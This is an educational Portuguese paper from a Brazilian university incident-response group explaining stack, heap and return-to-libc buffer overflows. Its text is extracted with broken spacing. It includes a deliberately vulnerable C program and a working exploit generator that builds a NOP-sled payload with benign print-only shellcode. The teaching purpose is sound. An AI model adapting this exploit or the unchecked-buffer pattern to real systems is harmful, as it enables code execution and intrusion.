bufferOverflow - Security Information News
Transcrição
bufferOverflow - Security Information News
Universidade Federal do Rio de Janeiro Instituto de Matemática Departamento de Ciência da Computação Grupo de Resposta a Incidentes de Segurança Rio de Janeiro, RJ - Brasil Buffer Overflow Uma introdução teórica GRIS-2011-A-001 Raphael Duarte Paiva Thiago Fonseca Boche(Revisão) Pedro Philippe Costa Rosanes(Revisão) A versão mais recente deste documento pode ser obtida na página oficial do GRIS: http: //www.gris.dcc.ufrj.br. GRIS - Grupo de Resposta a Incidentes de Segurança Av. Brigadeiro Trompowski, s/n° CCMN – Bloco F1 - Decania Cidade Universitária - Rio de Janeiro/RJ CEP: 21949-900 Telefone: +55 (21) 2598-9491 Este documento é Copyright©2011 GRIS. Ele pode ser livremente copiado desde que sejam respeitadas as seguintes condições: É permitido fazer e distribuir cópias inalteradas deste documento, completo ou em partes, contanto que esta nota de copyright e distribuição seja mantida em todas as cópias, e que a distribuição não tenha fins comerciais. Se este documento for distribuı́do apenas em parte, instruções de como obtê-lo por completo devem ser incluı́das. É vedada a distribuição de versões modificadas deste documento, bem como a comercialização de cópias, sem a permissão expressa do GRIS. Embora todos os cuidados tenham sido tomados na preparação deste documento, o GRIS não garante a correção absoluta das informações nele contidas, nem se responsabiliza por eventuais conseqüências que possam advir do seu uso. Última atualização em: 6 de setembro de 2011 Sumário 1 Os 1.1 1.2 1.3 1.4 1.5 conceitos básicos Um breve histórico . . . . . . . . . . . . . . . . . . . . . Buffer - o que é? . . . . . . . . . . . . . . . . . . . . . . Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . . Buffer Overflow - Uma visão geral . . . . . . . . . . . . . Exploits e tipos de ataques baseados em Buffer Overflow 2 Dissecando 2.1 A estrutura de um programa na memória . . 2.2 Conhecendo melhor a pilha . . . . . . . . . . 2.3 Buffer Overflow - uma visão mais detalhada 2.4 Técnicas e ferramentas de Buffer Overflow . 2.4.1 Stack-based Buffer Overflow . . . . . 2.4.2 A estrutura dos Shellcodes . . . . . . 2.5 Como explorar uma vulnerabilidade . . . . . 2.5.1 Conhecendo melhor a heap . . . . . . 2.5.2 Heap-based Buffer Overflow . . . . . 2.5.3 Return-to-libc Attack . . . . . . . . . 3 Agradecimentos(Raphael Duarte Paiva) 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 2 2 3 4 5 . . . . . . . . . . 5 5 6 6 7 7 7 8 11 12 13 13 1 1.1 Os conceitos básicos Um breve histórico Buffer Overflows foram entendidos por volta de 1972, quando o Computer Security Technology Planning Study (documento de planejamento de estudos da USAF) definiu a técnica como o seguinte: “Um código realizando tal função não checa os endereços de fonte e destino apropriadamente, permitindo que partes do monitor sejam superpostas pelo usuário. Isso pode ser usado para injetar códigos no monitor que irão permitir o usuário a tomar o controle da máquina.” (Página 61 http://csrc.nist.gov/publications/ history/ande72.pdf). Hoje em dia, o monitor, poderia ser referido como o kernel. A documentação mais antiga de Buffer Overflow data de 1988. Foi uma das muitas vulnerabilidades exploradas pelo Morris worm para se propagar pela internet. O programa-alvo foi um serviço Unix, chamado finger. Em 1995, Thomas Lopatic redescobriu sozinho o buffer overflow e publicou seus achados na lista de emails da Bugtraq. Um ano depois, Elias Levy (Também conhecido como Aleph One), publicou na revista Phrack, o artigo “Smashing the Stack for Fun and Profit” (Arrasando a Pilha por Diversão e Lucro), uma introdução passo-a-passo para realizar um stack-based buffer overflow. Desde então, pelo menos 2 worms exploraram buffer overflows para comprometer um número grande de sistemas. Em 2001, o Code Red Worm explorou um buffer overflow no ISS (Internet Information Services) 5.0 da Microsoft e em 2003, o worm SQL Slammer colocou em risco maquinas rodando o Microsoft SQL Server 2000. Ainda em 2003, buffer overflows em jogos licenciados para o vı́deo-game Xbox da Microsoft foram explorados para permitir que softwares não licenciados rodassem no console sem a necessidade de modificações no hardware, conhecidas por modchips. O PS2 Independence Exploit também usou um buffer overflow para conseguir o mesmo efeito para o video-game Playstation 2 da Sony. 1.2 Buffer - o que é? Em computação, um buffer é uma região temporária da memória onde são guardados dados para serem transportados de um lugar para o outro. Uma aplicação freqüente de um buffer é quando dados são capturados de um dispositivo de entrada (um teclado ou mouse, por exemplo) e enviados à um dispositivo de saı́da(monitor, impressora). Exemplo: Digamos que o usuário está em uma aplicação de terminal, onde tudo o que ele digita, é impresso na tela. 2 O processo de imprimir o que o usuário digita, simplificadamente, segue um padrão parecido com o seguinte: 1. O Usuário aperta uma tecla. 2. Um buffer préviamente programado para tal fim, armazena o dado vindo da entrada padrão (o teclado). 3. O dado contido no buffer é então copiado para uma variável interna do sistema, em seguida, processado para se tornar legı́vel à saı́da padrão (geralmente usa-se um padrão de codificação de caracteres, como a tabela ASCII, por exemplo). 4. O dado é então, copiado para a saı́da padrão e, conseqüentemente, impresso na tela do terminal. Buffers também são utilizados em aplicações onde a taxa de dados recebidos é maior do que a taxa em que os dados são processados, como por exemplo em uma fila de atendimento: Enquanto um banco, por exemplo, tem 5 terminais de atendimento, pessoas são atendidas em grupos de 5. Caso o número de pessoas a serem atendidas seja maior que cinco, estas que chegaram por último formam uma fila enquanto esperam o termino de um atendimento para serem atendidas. A fila funciona como um buffer, armazenando as pessoas em um lugar próximo de seu destino, enquanto ainda não podem se locomover até ele. Em um exemplo muito mais simples, imagine-se em uma sala de aula e que você deve copiar o conteúdo do quadro para seu caderno. O procedimento para a maioria das pessoas seria olhar o quadro, memorizar uma parte do conteúdo e escrevê-la em seu caderno. De fato, sua memória serviu como um buffer entre a entrada de informações (o quadro) e a saı́da (seu caderno). Buffers são utilizados tanto em Hardware quanto em Software, porém muito mais utilizados neste ultimo. 1.3 Overflow O conceito básico de um overflow é um transbordamento, ou seja, um overflow ocorre quando o volume de determinado objeto ou substância é maior do que a capacidade de seu compartimento. Um rio raso exposto à chuvas fortes aumenta consideravelmente seu volume de água, podendo levar o nı́vel de água a ser maior que a altura de suas margens, fazendo-o transbordar. Este fato caracteriza um overflow (transbordamento), o que leva a água do rio se espalhar por locais onde a mesma não deveria estar naturalmente. 3 Agora que temos consolidados os conceitos de buffer e de overflow, podemos juntá-los para conhecer o conceito de buffer overflow. 1.4 Buffer Overflow - Uma visão geral O buffer overflow é um erro de programação que pode resultar em execução errônea de um programa, acesso indevido à áreas de memória, terminação do programa ou uma possı́vel falha de segurança em um sistema. Tecnicamente falando, um buffer overflow consiste em um processo de armazenar, em um buffer de tamanho fixo, dados maiores que o seu tamanho. Exemplo: Imagine que um programa declara duas estruturas de dados adjacentes na memória do computador: um vetor de caracteres de 8 bytes, A, e um inteiro de 2 bytes, B, enche A de zeros e B recebe o número 9, como no seguinte esquema: Agora imagine o que aconteceria se o programa nos pedisse uma palavra e tentássemos inserir a palavra “excessivo” dentro de A. A palavra excessivo tem 9 letras, conseqüentemente, 10 caracteres, pois um caractere nulo é concatenado ao final para indicar o fim de uma string (vetor de caracteres). Separando a palavra em caracteres seria algo como: ’e’, ’x’, ’c’, ’e’, ’s’, ’s’, ’i’, ’v’, ’o’,’\0’, sendo o ’\0’ o caractere nulo, que consiste em um um byte zerado. Sabendo que cada caractere ocupa um byte, a string A, então, tem apenas 8 bytes, porém estamos inserindo 10 bytes, que é um tamanho maior do que A comporta. Como no exemplo do rio transbordando, A vai transbordar, caracterizando um overflow. Quando ocorre um overflow, áreas da memória adjacentes à estrutura de dados a ser preenchida serão ocupados com os dados excedentes. Neste caso, os 8 bytes de A serão ocupados, e haverão 2 bytes excedentes que serão alocados nos 2 bytes adjacentes à A, que é onde reside B, portanto, o valor de B será sobrescrito com os 2 bytes que A não suportou, como no seguinte esquema: B é um inteiro que antes valia 9. Agora, seus 2 bytes estão preenchidos com os caracteres ’o’ e ’\0’. Em sistemas Little-Endian (sistemas em que o byte menos significativo é o da esquerda), o valor dos bytes de B seriam os correspondentes binários à tabela ASCII do caractere nulo (00000000) e do caractere ’o’ (01101111). Concatenado-os, temos o valor binário de B: 0000000001101111 que equivale ao decimal 111. Como o programa em questão tem apenas 10 bytes reservados na memória, se tentássemos escrever uma palavra maior ainda, os excedentes teriam de ser alocados em áreas de memória não reservadas ao programa, resultando numa falha de segmentação e, conseqüentemente, a terminação do programa. As conseqüências do tipo de erro citado no exemplo acima, podem resultar em um funcionamento errôneo do programa, pois imagine que B fosse uma variável em 4 que seria armazenada a idade do usuário e em seguida feito algum processamento em cima do dado. Uma idade de 111 anos certamente não levaria à um resultado esperado. Logicamente, este é um exemplo simples de um buffer overflow. Erros deste tipo em projetos maiores podem levar à bugs desastrosos, horas de trabalho perdidas para depuração, além de falhas de segurança que levarão ao surgimento de exploits podendo causar sérios transtornos à todos que usam o programa. 1.5 Exploits e tipos de ataques baseados em Buffer Overflow Exploits são pedaços de código, seqüências de comandos, ou até mesmo programas que se aproveitam de vulnerabilidades ou bugs em softwares, visando causar comportamento errôneo, inesperado ou até mesmo ganhar acesso privilegiado à um sistema ou causar ataques de negação de serviço (DoS). A maioria dos Exploits visa ganhar acesso de nı́vel de superusuário à sistemas ou derrubar os mesmos. Pode-se fazer uso de vários exploits diferentes para galgar nı́veis de acesso até chegar ao superusuário. Os tipos mais comuns de ataques baseados em buffer overflow são: • Stack-based buffer overflow • Heap-based buffer overflow • Return-to-libc attack 2 2.1 Dissecando A estrutura de um programa na memória Qualquer programa compilado (e isto inclui interpretadores de linguagens) possui uma forma estruturada em código de máquina denotando uma seqüência de instruções que serão executadas pelo processador. Tal seqüência é carregada na memória quando um programa é chamado à execução. A estrutura de um programa na memória se divide em quatro partes: texto, dados, stack (pilha) e heap. A região do texto contém as instruções do programa propriamente ditas e dados somente-leitura. Essa região é geralmente somente-leitura, para evitar códigos mutáveis. Uma tentativa de escrita nessa área resulta em uma falha de segmentação. A região dos dados contém todas as variáveis globais e estáticas do programa. A região de heap serve para a alocação dinâmica de variáveis, através de instruções do tipo malloc(); A pilha é a região mais interessante para os fins deste texto. Trata-se de um bloco de memória onde são armazenadas informações vitais para subrotinas: variáveis locais, parâmetros e os valores de retorno. 5 2.2 Conhecendo melhor a pilha O conceito de pilha é bastante simples. Uma pilha adota um padrão conhecido como LIFO (Last In First Out – último a entrar, primeiro a sair). Imagine uma pilha de pratos que devem ser lavados. A pessoa que lavará os pratos, começará pelo topo da pilha, que foi o ultimo prato a ser colocado na mesma, porém, será o dado a entrar, será o primeiro a ser tratado em estruturas organizadas por pilhas (stacks). Na memória, a pilha consiste de frames que são colocados no topo quando uma subrotina é chamada e retirada da pilha no termino da subrotina. Um frame geralmente guarda os seguintes dados sobre a subrotina em ordem da base para o topo: • Espaço para os parâmetros da subrotina; • O endereço de retorno da subrotina; • Um valor chamado comumente de Frame Pointer; • Espaço para variáveis locais. Definindo o escopo à arquiteturas Intel x86 de 32 bits, quando temos chamadas à subrotinas (funções) em programas, o processador recebe uma instrução chamada CALL. Esta instrução armazena no frame da respectiva subrotina duas informações vitais para o processador: o IP (Instruction Pointer) e o FP (Frame Pointer), que indicam respectivamente, a posição de memória para onde o processador deve continuar lendo após o termino da subrotina e um valor arbitrário para facilitar o trabalho do processador na hora de ler e escrever em variáveis locais e ler parâmetros. O FP ajuda o processador de modo que endereços lidos dentro do frame que possuam um valor maior que o endereço do FP é com certeza um parâmetro e endereços lidos dentro do frame que possuam um valor menor que o endereço do FP é uma variável local. A soma do espaço reservado para o buffer desprotegido com o espaço ocupado pelo FP é chamado de payload space. 2.3 Buffer Overflow - uma visão mais detalhada Como vimos, podemos utilizar o buffer overflow para reescrever o IP. Ora, se o IP está logo após o espaço para as variáveis locais e o FP, o que aconteceria se ultrapassássemos este espaço? Assim como no primeiro exemplo de buffer overflow, imagine que temos um programa que chama uma subrotina para pedir uma string ao usuário. Se soubermos o tamanho máximo da string e esta fosse a única variável da subrotina, poderı́amos ultrapassá-lo e reescrever o valor do IP. 6 Digamos que o programa em questão peça o nome de um arquivo em um sistema Unix. Sabendo que o tamanho máximo do nome de um arquivo em tal sistema é de 256 caracteres, fica fácil arquitetar a reescrita do IP, considerando que o programa não faz verificação de tamanho de string e que o está rodando num sistema desprotegido, basta escrever 264 caracteres para que o IP receba os últimos 4 bytes da entrada, ou seja, os quatro últimos caracteres, pois o IP guarda um inteiro de 4 bytes e cada caractere tem 1 byte (utilizando o sistema ASCII), ora, tenho 8 caracteres excedentes de 1 byte cada, então o FP terá o valor igual à concatenação dos valores binários dos 4 primeiros caracteres excedentes e o IP dos 4 últimos. 2.4 Técnicas e ferramentas de Buffer Overflow Agora que sabemos como alterar o IP, como podemos utilizar isso para fins maliciosos? 2.4.1 Stack-based Buffer Overflow Como dito em 2.1, o processador lê uma série de instruções. Tais que são referenciadas por bytes. Com este conhecimento, podemos então ao invés de escrevermos um nome, poderı́amos enviar um endereço de memória onde um código previamente inserido possa ser executado. O código inserido é normalmente chamado de shellcode. 2.4.2 A estrutura dos Shellcodes Shellcodes são pedaços de código legı́veis ao processador, ou seja, bytes referentes às instruções. Como geralmente shellcodes são passados como strings, representamos cada byte por “\xNN”, onde “\” significa que estamos passando um byte (não um caractere), “x” significa que seu valor está na base hexadecimal e NN é o valor do byte na base hexadecimal. Vale lembrar que um byte nulo “\x00”, ou simplesmente “\0” é o caractere terminador de string, então, como o shellcode consiste de uma string composta por bytes, não podemos ter bytes nulos, pois funções que trabalham com strings interpretam um byte nulo como o fim da mesma e terminam o seu processamento. Obviamente, queremos que nossa string maliciosa seja processada inteira, portanto, um byte nulo é um problema. Além do byte nulo, alguns outros bytes como linefeed(“\n”, ou “\x0A”), carriage return(“\x0D”), etc. podem nos causar problemas, como quebrar o shellcode em dois ou mais (linefeed), como se entrássemos com 2 linhas separadas de shellcode. Podemos resolver estes problemas de vários modos, dependendo da instrução que desejamos representar. Torna-se óbvia a necessidade do conhecimento da linguagem de máquina neste caso. No caso de querermos construir um shellcode que imite uma função, como System(), que executa o comando de sistema passado por argumento, devemos seguir os seguintes passos: • Construir um programa que simplesmente chame a função System(), com o argumento contendo o comando de sistema que desejamos executar. 7 • Analisar o seu código assembly do programa por meio de um debugger, como o gdb, por exemplo, conseguindo assim acesso ao código assembly da função System. • Pelo próprio gdb, podemos ter acesso aos bytes referentes a cada instrução pelo comando Com os bytes em mão, podemos então construir o shellcode, concatenado-os em uma string, tomando os cuidados e adaptações necessárias para o shellcode não conter bytes especiais. Assim, com o shellcode pronto, devemos preparar o buffer malicioso para ser construı́do. Este deve conter: • Dados para encher o buffer até o inı́cio do shellcode • O shellcode em si. • O valor para reescrever o IP com o endereço do inı́cio do shellcode Um problema comum de ataques por buffer overflow baseados na pilha é que não sabemos exatamente onde é o inı́cio do payload space devido à aleatoriedade dos dados na memória. Para contornar esse problema é comum termos shellcodes bem menores que o payload space, e, precedidos de bytes NOP (“\x90”, No Operation), os quais o processador ignora e pula para a próxima instrução. Deste modo, temos um espaço maior para erros na hora de presumir o endereço de retorno. Caso o shellcode não comece no endereço escolhido, o processador encontrará NOPS e ”deslizará”até o inı́cio do shellcode. Como a diferença na localização geramente é pequena, essa técnica pode ser usada para tornar o ataque mais confiável. Sequências muito longas de instruções NOP são facilmente detectadas por sistemas de detecção de intrusão de rede como o Snort. Atacantes mais sofisticados usam uma sequência de instruções ”normais”, que não sejam o NOP mas que não interferem na execução do shellcode, como xor eax, eax. 2.5 Como explorar uma vulnerabilidade Mostrarei a seguir um código que apresenta uma vulnerabilidade que pode ser explorada usando a técnica de stack-based buffer overflow e NOP-Sled. O erro cometido nesse código é facilmente percebido: tentamos ler 1024 bytes de um arquivo em uma variável que só suporta 8. Com certeza causará um buffer overflow. #include < s t d l i b . h> #include <s t d i o . h> int b o f ( ) { char b u f f e r [ 8 ] ; /∗ b u f f e r de c a r a c t e r e s de 8 b y t e s ∗/ FILE ∗ b a d f i l e ; /∗ a b r i n d o o a r q u i v o b a d f i l e para l e i t u r a ∗/ b a d f i l e = f o p e n ( ” b a d f i l e ” , ”r ” ) ; 8 /∗ t e n t a n d o l e r 1024 b y t e s e armazenar em um b u f f e r de 8 . ∗/ f r e a d ( b u f f e r , s i z e o f ( char ) , 1 0 2 4 , b a d f i l e ) ; return 1 ; } int main ( int argc , char ∗∗ argv ) { bof ( ) ; /∗ Imprimindo uma mensagem . Em c a s o de o v e r f l o w , nao s e r a e x i b i d a . ∗/ p r i n t f ( ”Not gonna do i t ! \ n ” ) ; return 1 ; } Agora que identificamos a vulnerabilidade precisamos de uma forma de explorála. Como o programa lê de um arquivo mais bytes do que deve, podemos montar um arquivo(payload) de forma que ele desvie a execução para o código que queremos executar(shellcode). Nesse exemplo nosso shellcode só escreve uma frase na tela, mas a idéia é mostrar que podemos executar um código arbitrário e tentar tomar controle do sistema. Os trechos de código a seguir montam o arquivo desejado, vamos analisar ele passo a passo. #include < s t d l i b . h> #include <s t d i o . h> char s h e l l c o d e [ ] = ”\ xeb \ x16 ” ”\ x31 \xdb ” ”\ x31 \ xd2 ” ”\ x31 \ xc0 ” ”\ x59 ” ”\xbb\ x01 \ x00 \ x00 \ x00 ” ”\ xb2 \ x09 ” ”\ xb0 \ x04 ” ”\ xcd \ x80 ” ”\ xb0 \ x01 ” ”\ xcd \ x80 ” ”\ xe8 \ xe5 \ x f f \ x f f \ x f f ” ”GOTCHA! \ n ” ; /∗ /∗ /∗ /∗ /∗ /∗ /∗ /∗ /∗ /∗ /∗ /∗ jmp s t r i n g ∗/ x o r %EBX, %EBX ∗/ x o r %EDX, %EDX ∗/ x o r %EAX, %EAX ∗/ pop %ECX ∗/ mov $0x1 ,%EBX ∗/ mov $0x9 ,% d l ∗/ mov $0x04 ,% a l ∗/ i n t $0x80 ∗/ mov $0x1 , %a l ∗/ i n t $0x80 ∗/ c a l l code ∗/ Nessa primeira parte fazemos os includes das bibliotecas padrão do C. Logo após colocamos o nosso shellcode em uma string. O que cada instrução faz e como o shellcode funciona vão além do nosso escopo nesse artigo, logo, só precisamos saber que esse shellcode imprime a palavra ”GOTCHA!”na tela. Vimos anteriormente que os shellcodes são dependentes da plataforma em que vão ser executados. Nosso shellcode por exemplo, foi desenvolvido para a plataforma Linux. 9 #define OFFSET 1500 unsigned long get ESP ( void ) { a s m ( ”movl %ESP,%EAX” ) ; } main ( int argc , char ∗∗ argv ) { unsigned long addr ; FILE ∗ b a d f i l e ; char b u f f e r [ 1 0 2 4 ] ; addr = get ESP ( ) + OFFSET; f p r i n t f ( s t d e r r , ”Using O f f s e t : 0x%x\ n S h e l l c o d e S i z e :%d\n ” , addr , s i z e o f ( s h e l l c o d e ) ) ; Agora que temos o nosso shellcode armazenado, precisamos calcular o endereço em que ele estará na hora da execução do programa alvo, para podermos desviar. A função get ESP(void) recupera o valor do ESP(Extended Stack Pointer, registrador que aponta para o topo da pilha) como já era de se esperar. Como o endereço da pilha não muda1 , podemos usar ele para calcular a posição do shellcode. A pilha cresce em direção aos endereços menores, logo, adicionamos ao endereço do topo um offset(deslocamento) de 1500 bytes para irmos em direção a base. Esse valor é calculado levando em consideração o tamanho das variáveis que estarão na pilha. Logo em seguida imprimimos o offset e o shellcode que serão usados. memset ( &b u f f e r , 0 x90 , 1024 ) ; /∗ armazenando o e n d e r e c o do s h e l l c o d e em l i t t l e −endian ∗/ b u f f e r [ 1 2 ] = addr & 0 x 0 0 0 0 0 0 f f ; b u f f e r [ 1 3 ] = ( addr & 0 x 0 0 0 0 f f 0 0 ) >> 8 ; b u f f e r [ 1 4 ] = ( addr & 0 x 0 0 f f 0 0 0 0 ) >> 1 6 ; b u f f e r [ 1 5 ] = ( addr & 0 x f f 0 0 0 0 0 0 ) >> 2 4 ; memcpy ( &b u f f e r [ ( s i z e o f ( b u f f e r ) − s i z e o f ( s h e l l c o d e ) ) ] , shellcode , sizeof ( shellcode ) ) ; b a d f i l e = f o p e n ( ” . / b a d f i l e ” , ”w” ) ; f w r i t e ( buffer , 1024 , 1 , b a d f i l e ) ; fclose ( badfile ); } 1 Nosso exemplo funciona em linux’s com kernel inferior a 2.4.20, porque a partir dessa versão foi introduzido um recurso que randomiza a localização da pilha, onde o ESP muda a cada execução impossibilitando o ataque da forma como está sendo mostrado. 10 O comando memset preenche o nosso buffer com uma sequência de 1024 NOP’s(0x90). Dessa forma, o buffer vai ficar completamente cheio de NOP’s. Logo em seguida armazenamos o endereço do shellcode nas posições 12 a 15 do buffer. O endereço tem 4 bytes e é colocado de byte em byte no buffer porque o buffer é de char cujo tamanho é 1 byte. Para fazer isso, fazemos um and bit a bit do byte menos significativo e armazenamos na posição 12, em seguida fazemos o and com o segundo byte menos significativo e um shift right(deslocamento para direita) para colocá-lo na parte menos significativa e assim por diante até o quarto byte. Com o comando memcpy, colocamos o shellcode no fim do buffer. Lembrando que, como o nosso buffer está cheio de instruções NOP’s, não importa o lugar do buffer para qual a execução vai ser desviada, ela vai deslizar pelos NOP’s até o shellcode. Depois só precisamos escrever o buffer no arquivo e fechá-lo. Agora que já temos o arquivo que explora a falha, basta executar o programa passando o nosso arquivo. Na figura a seguir está representada a pilha no momento da execução do programa vulnerável com o nosso arquivo. Do lado esquerdo temos a pilha antes do buffer overflow ocorrer, onde os registradores salvos(IP, FP) e os argumentos da função estão com seus valores corretos. Do lado direito o arquivo que criamos anteriormente já foi lido e sobreescreveu todos os dados adjacentes ao buffer. Ao analisarmos a pilha percebemos que a variável buffer vai do endereço 0x0F0000 até 0x0F0007 ocupando os 8 bytes declarados. Logo após, temos o FP que tem 4 bytes, indo do endereço 0x0F0008 até 0x0F000B seguido do IP que também tem 4 bytes, indo do endereço 0x0F000C até 0x0F000F. Por isso que ao montarmos o payload, colocamos o endereço do shellcode nas posições 12 à 15 do buffer. Os bytes de 0 até 7 vão ser armazenados na variável buffer, de 8 até 11 vão sobreescrever o FP e de 12 até 15 vão sobreescrever o IP. Logo, quando a função retornar, a execução será desviada para o shellcode e não para a main.[9] 2.5.1 Conhecendo melhor a heap Geralmente, a memória dinâmica é alocada de uma grande área de memória livre, chamada de heap, ou free store. A localização de dados na heap não é prevista pelo programa, então dados na heap costumam ser acessados indiretamente, por meio de referências. Quando usamos uma função da famı́lia malloc(), estamos alocando espaço para uma estrutura de dados na heap e retornando o endereço de memória em que ela foi alocada. Este endereço é normalmente armazenado em uma variável que passa a ser a referência àquela estrutura na heap, então qualquer operação de leitura e escrita é feita através da referência, nunca diretamente. 11 O sistema operacional geralmente dá ao programa, quando este é carregado na memória, uma heap de um tamanho especı́fico, porém este espaço pode ser modificado em tempo de execução. Geralmente, neste processo, o kernel divide a heap em setores menores pela memória, resultando em fragmentação e abstraindo esta tarefa do programador, que por sua vez, não precisa se preocupar com o tamanho do heap. Arquivos executáveis tanto PE ou PE32 (Windows), quanto ELF ou ELF32 (Linux) possuem o que chamamos de “optional header” que, como o nome diz, é um cabeçalho opcional que contém informações sobre o quão grande o espaço na heap é esperado, para uma alocação mais precisa quando o programa é carregado. É importante ressaltar que o heap cresce na direção oposta da pilha, ou seja, seu “topo” cresce em direção aos endereços maiores da memória, enquanto a pilha cresce em direção aos endereços menores da memória. Além do espaço reservado para as estruturas de dados do programa, um bloco no heap também guarda valores usados para a sua administração, como tamanho do bloco, espaço utilizado, próximo bloco e bloco anterior. Os valores armazenados são dependentes de implementação. Todo run-time environnement possui o seu próprio modo de administrar a heap, porém, um programa pode definir o seu próprio modo de administração da heap. Como o espaço na heap é variável para um programa em execução, não há como definir limites para este espaço. Então, nem o kernel, nem o processador são capazes de detectar um overflow na heap. 2.5.2 Heap-based Buffer Overflow Este é um tipo muito mais difı́cil de ser explorado devido ao fato do alvo ser a heap. Entre as dificuldades estão: • Na heap, não existem valores os quais o processador usa para saber qual a próxima operação a executar, apenas valores de organização do próprio heap. • Devido ao fato do heap crescer em direção aos valores maiores da memória e podermos apenas escrever nesta mesma direção, não é possı́vel reescrever os valores de controle do bloco atual, apenas dos blocos posteriores. • Como a organização da heap pode variar, o atacante precisa saber qual é a implementação de heap do programa-alvo. Para explorar um buffer overflow na heap é necessário encontrar uma vulnerabilidade em alguma função interna de administração da heap, de modo que esta processe o buffer alvo na heap. Deste modo: • Precisamos explorar a heap para sobrescrever os valores de administração de um bloco alvo e assim inserir o shellcode, construindo um bloco malicioso na heap. • Os valores de administração devem ser alterados no bloco de forma que este, ao ser analisado por uma função, como free(), por exemplo, seja processado, 12 diretamente ou por meio de outra função, como a unlink(), que é chamada dentro da free(), por exemplo. • Além de modificados para ativar uma função, os valores de administração devem ser reescritos para causar um overflow no frame da função que processa o bloco, para direcionar a execução do programa para o shellcode inserido. Outro modo de explorar o heap overflow é estourar o heap até chegar na pilha e então sobrescrever o IP do frame do topo da pilha. Neste ponto, uma questão importante é conveniente: Por que um shellcode no heap se precisamos explorar um overflow na pilha também? A resposta pode variar, porém a mais razoável é a questão do espaço. Funções podem ser vulneráveis e mesmo assim ter uma quantidade tão pequena de buffers que não suportaria um shellcode. É razoável, neste caso, inserir o shellcode na heap. 2.5.3 Return-to-libc Attack Uma das defesas para um ataque de buffer overflow baseado em pilha é não dar permissão de execução na pilha. Deste modo, não é possı́vel tentar executar um shellcode na pilha. Existe uma alternativa, que é explorar um código que já existe nas rotinas do programa. Um código que está em quase qualquer coisa(incluindo o sistema operacional), são os códigos da libc, a biblioteca padrão do C. Além de estarem presentes na maioria dos sistemas, eles possuem uma posição estática na memória em um sistema. O método para pular para uma função da libc é o mesmo do buffer overflow baseado em pilha: reescrever o IP com o endereço da função desejada. O endereço de uma função da libc pode ser facilmente descoberto, em um ambiente sem proteção de aleatoriedade nos espaços de endereço, usando um programa de teste que imprima o endereço da função, por exemplo. Devemos, então, reescrever o IP com o endereço da função desejada, seu endereço de retorno e então seus argumentos. 3 Agradecimentos(Raphael Duarte Paiva) O primeiro e mais óbvio agradecimento vai para minha famı́lia, sem a qual não chegaria onde estou hoje e certamente não estaria realizando este artigo. Gostaria de agradecer também a todo a equipe GRIS, pelo apoio, camaradagem, ensinamentos, trabalho, compromisso e as muitas risadas que compartilhamos quando estamos juntos. Outro agradecimento vai para toda a comunidade online que compartilha conhecimento em ótimas fontes de sabedoria. Finalmente, um agradecimento especial para o amigo e fundador do GRIS, Breno G. de Oliveira, por sua disposição em compartilhar seu enorme conhecimento a qualquer hora e sempre com uma vontade animadora de ajudar. 13 Referências [1] Smashing The Stack for Fun and Profit - http://insecure.org/stf/ smashstack.html [2] Buffer Overflow - http://en.wikipedia.org/wiki/Buffer_overflow [3] Stack buffer overflow - http://en.wikipedia.org/wiki/Stack_buffer_ overflow [4] Heap Overflow - http://en.wikipedia.org/wiki/Heap_overflow [5] Return-to-libc attack - http://en.wikipedia.org/wiki/Return-to-libc_ attack [6] Shellcode - http://en.wikipedia.org/wiki/Shellcode [7] A Heap of Risk http://www.heise-online.co.uk/security/ A-Heap-of-Risk--/features/74634 [8] Arc Injection / Return-to-libc - http://www.acm.uiuc.edu/sigmil/talks/ general_exploitation/arc_injection/arc_injection.html [9] J.C. Foster, V. Osipov, N. Bhalla - Buffer Overflow Attacks: Detect, Exploit, Prevent. 14